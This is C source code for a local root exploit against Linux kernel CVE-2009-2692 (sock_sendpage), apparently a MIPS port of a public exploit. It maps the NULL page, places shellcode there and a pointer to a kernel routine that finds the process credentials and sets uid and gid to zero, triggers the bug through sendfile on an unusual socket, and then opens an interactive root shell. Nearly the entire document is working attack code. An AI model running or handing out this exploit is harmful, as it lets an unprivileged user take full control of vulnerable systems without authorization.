Based on existing exploit, modified for use on mips.
/* ** ** 0x82-CVE-2009-2692 ** Linux kernel 2.4/2.6 (32bit) sock_sendpage() local ring0 root exploit (simple ver) ** ** -- ** Discovered by Tavis Ormandy and Julien Tinnes of the Google Security Team. ** spender and venglin's code is very excellent. ** Thankful to them. ** ** Greets: Brad Spengler <spender(at)grsecurity(dot)net>, ** Przemyslaw Frasunek <venglin(at)czuby(dot)pl>. ** -- ** ** mips port by jan.stancek(at)gmail(dot)com>. */ #include <stdio.h> #include <unistd.h> #include <sys/socket.h> #include <sys/mman.h> #include <fcntl.h> #include <sys/personality.h> unsigned int uid, gid; unsigned long esp = 0; unsigned long task_struct_uid_gid = 0; /* The code below comes to 0x00000000 Address to kernel_code comes at 0x00000040 4008e8: 03802021 move a0,gp --> store gp to a0, we need to restore gp before jumping out from kernel_code 4008ec: 8c190040 lw t9,64(zero) --> kernel_code 4008f0: 00000000 nop 4008f4: 03200008 jr t9 --> call kernel_code 4008f8: 00000000 nop */ const char code[]={ 0x03, 0x80, 0x20, 0x21, 0x8c, 0x19, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x03, 0x20, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00 }; void kernel_code() { unsigned long _gp; int i = 0; asm volatile ( "sw $a0, %0\n" "sw $sp, %1\n" :: "m" (_gp), "m" (esp) ); esp = esp & (~8191); uint *p = (unsigned int *) esp; for (i = 0; i < 1024-13; i++) { if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) { p[0] = p[1] = p[2] = p[3] = 0; p[4] = p[5] = p[6] = p[7] = 0; task_struct_uid_gid = (unsigned long) p; p = (uint *) ((char *)(p + 8) + sizeof(void *)); p[0] = p[1] = p[2] = ~0; break; } p++; } /* restore gp and return to $ra, this should bring us back to kernel after sock_sendpage call */ asm ( "lw $gp, %0\n" :: "m" (_gp) ); return; } int main(int argc,char *argv[]) { int fd_in = 0; int fd_out = 0; void *zero_page; int offset = 0; uid=getuid(); gid=getgid(); if(uid==0) { fprintf(stderr,"[-] check ur uid, you are root already\n"); return -1; } /* ** There are some cases that we need mprotect due to the dependency matter with SVR4. (however, I did not confirm it yet) */ if(personality(0xffffffff)==PER_SVR4) { if(mprotect(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC)==-1) { perror("[-] mprotect()"); return -1; } } else { if((zero_page=mmap(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE,0,0))==MAP_FAILED) { perror("[-] mmap()"); return -1; } } memcpy(0, code, 20); *(long *)0x00000040=(unsigned long) &kernel_code; if((fd_in=open(argv[0],O_RDONLY))==-1) { perror("[-] open()"); return -1; } if((fd_out=socket(PF_APPLETALK,SOCK_DGRAM,0))==-1) { if((fd_out=socket(PF_BLUETOOTH,SOCK_DGRAM,0))==-1) { if((fd_out=socket(PF_INET6,SOCK_DGRAM,0))==-1) { perror("[-] socket()"); } return -1; } } gogossing: /* ** Sometimes, the attacks can fail. To enlarge the possiblilty of attack, ** an attacker can make all the processes runing under current user uid 0. */ if(sendfile(fd_out,fd_in,&offset,2)==-1) { if(offset==0) { // perror("[-] sendfile()"); // return -1; } close(fd_out); // fd_out=socket(PF_BLUETOOTH,SOCK_DGRAM,0); } if(getuid()==uid) { if(offset) { offset=0; } //goto gogossing; } close(fd_in); close(fd_out); printf("kernel esp: 0x%lx, task_struct_uid_gid: 0x%lx\n", esp, task_struct_uid_gid); if (task_struct_uid_gid!=0) { printf("Looks like we managed to execute our kernel_code()\n"); } uid = getuid(); printf("uid is: %d\n", uid); if(uid==0) { execl("/bin/sh","sh","-i",NULL); } else { printf("uid is not 0, something must have failed\n"); } return 0; }